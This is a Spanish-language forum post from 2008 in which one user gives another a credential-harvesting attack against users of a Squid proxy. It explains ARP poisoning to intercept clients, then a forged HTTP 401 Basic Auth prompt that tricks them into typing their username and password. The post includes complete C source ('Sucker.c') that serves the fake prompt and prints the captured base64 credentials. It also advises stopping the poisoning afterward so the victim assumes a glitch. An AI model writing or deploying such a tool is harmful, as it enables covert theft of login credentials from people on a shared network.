Que tal.
REALM?? Imagino que querras decir Digest.. EL realm es otra cosa, es la "identificacion" de la zona protegida digamos.
Aun estas con esto???! Despues de cuantos meses??
Te codee algo que difiere de la solucion que dices que te di, y te lo mande por privado.
Aqui te pego al p.m que te mande entonces con la "aplicacion" codeada para que la usases..
Enviado a: Hole_System en: 28 Septiembre 2008, 03:20
Que tal.
Bueno, el caso es que no se si entendistes lo que te dije, pero era facil de entender creo.
La cuestion esta en capturar la Requesta de un Cliente para conectarse con el Proxy Squid y Autenticarse mediante
ARP Poisoning. Tras ello, mandarle tu la respuesta, sin proxear tu la comunicacion como te dije en un principio, sorry.
Asi, una vez conectado a ti el Cliente, le mandas cabeceras propias de Basic Auth, y si el cliente es incauto pondra el
user y el pass en el Box que le saldra en su navegador. Ese user y pass los obtendrias tu igualmente sniffandolos o
con la aplicacion de MiTM.
Aqui te dejo algo que te acabo de programar. Es la aplicacion MitM que se encargaria de mostrar por pantalla lo que el
Cliente ponga tras mandarle nosotros la Autenticacion Basic falsa. Solo tienes un inconveniente: lo he programado bajo
Linux y por consiguiente son sockets en Linux. Para "guindous" tendrias que arreglartelas tu..
He de mencionar que jamas he elaborado este ataque en un escenario real; asi que todo lo expreso desde mis
conocimientos. La aplicacion que te he pregramado es lame, pero deberia de funcionar si logras que el Cliente se
conecte a ti antes que al Squid ( - ARP Poisoning - ).
Una vez el Cliente se conecte a ti, mi programa mandaria la info HTTP 401 de Basic Auth, y mostraria el input del
Cliente por consola mas el Hash en Base64 de su user y pass; pero como te digo lo he programado bajo Linux..
SIn mas, aqui va este lame code bajo Linux ( recuerda ):
/* Sucker.c by averno */
// El programa escucha en el puerto indicado en el primer argumento ( argv[1] )
// y manda unas cabeceras HTTP arbitrarias basadas en el esquema de Autenticacion tipo Basic.
// El Cliente remoto a sniffar el user y pass de la conexion Auth DEBE de conectarse a nosotros
// y no al Servidor legitimo. Para ello, usariamos tecnicas basadas en ARP Poisoning.
// Una vez el Cliente conecta con nosotros, el programa le manda las cabeceras arbitrarias y muestra por
// consola el Hash en Base64 introducido por el propio Cliente.
// Tras obtener el Hash presionamos Ctrl-C y terminamos el socket.
// tras ello, parariamos el ataque ARP Poisoning para que la proxima vez que el Cliente intente conectar con
// El Server legitimo lo pueda hacer sin problemas, creyendo que lo anterior fue solo un error.
// Para decodear el user/pass en Base64 hay mil paginas en GooGle.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
int main(int argc, char *argv[])
{
struct sockaddr_in server;
struct sockaddr_in client;
int on = 1;
int sin_size;
int fd, fc, readbytes;
char buf[512], buf2[512];
if (argc != 2) {
fprintf(stderr, "[$] Uso: %s <port>\n\n", argv[0]);
exit(0);
}
sprintf(buf2, "HTTP/1.0 401 UNAUTHORIZED\nServer: HTTPd/1.0\nDate: Sun, 28 Sep 2008 01:39:15 GMT\nWWW-Authenticate: Basic realm=\"Secure Area\"\nContent-Type: text/html\nContent-Length: 311\n\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"
http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd\">\n<HTML>\n<HEAD>\n<TITLE>Error</TITLE>\n<META-HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=ISO-8859-1\">\n</HEAD>\n<BODY><H1>401 Unauthorised.</H1></BODY>\n</HTML>\n\n");
if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
fprintf(stderr, "[$] No se pudo crear Socket: %s\n", strerror(errno));
exit(-1);
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) == -1) {
perror("setsockopt()");
exit(-1);
}
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[1]));
server.sin_addr.s_addr = INADDR_ANY;
if (bind(fd, (struct sockaddr *)&server, sizeof(server)) == -1) {
perror("bind()");
exit(-1);
}
if (listen(fd, 3) == -1) {
perror("listen()");
exit(-1);
}
sin_size = sizeof(struct sockaddr_in);
for (;

{
if ((fc = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1) {
perror("accept()");
exit(-1);
}
printf("EL Host %s se acaba de conectar desde puerto remoto %i\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port));
if (fork() == 0) {
close(fd);
while ((readbytes = read(fc, buf, 512-1)) != -1) {
buf[readbytes] = '\0';
write(1, buf, readbytes);
break;
}
if (write(fc, buf2, strlen(buf2)) == -1) {
perror("write()");
exit(-1);
}
/* bzero(buf, sizeof(buf)); */
while ((readbytes = read(fc, buf, 512-1)) != -1) {
buf[readbytes] = '\0';
write(1, buf, readbytes);
break;
}
close(fc);
exit(0);
}
else {
close(fc);
}
}
return 0;
}
/* EOF */
Bueno, pues ahi esta.
Saludos: averno.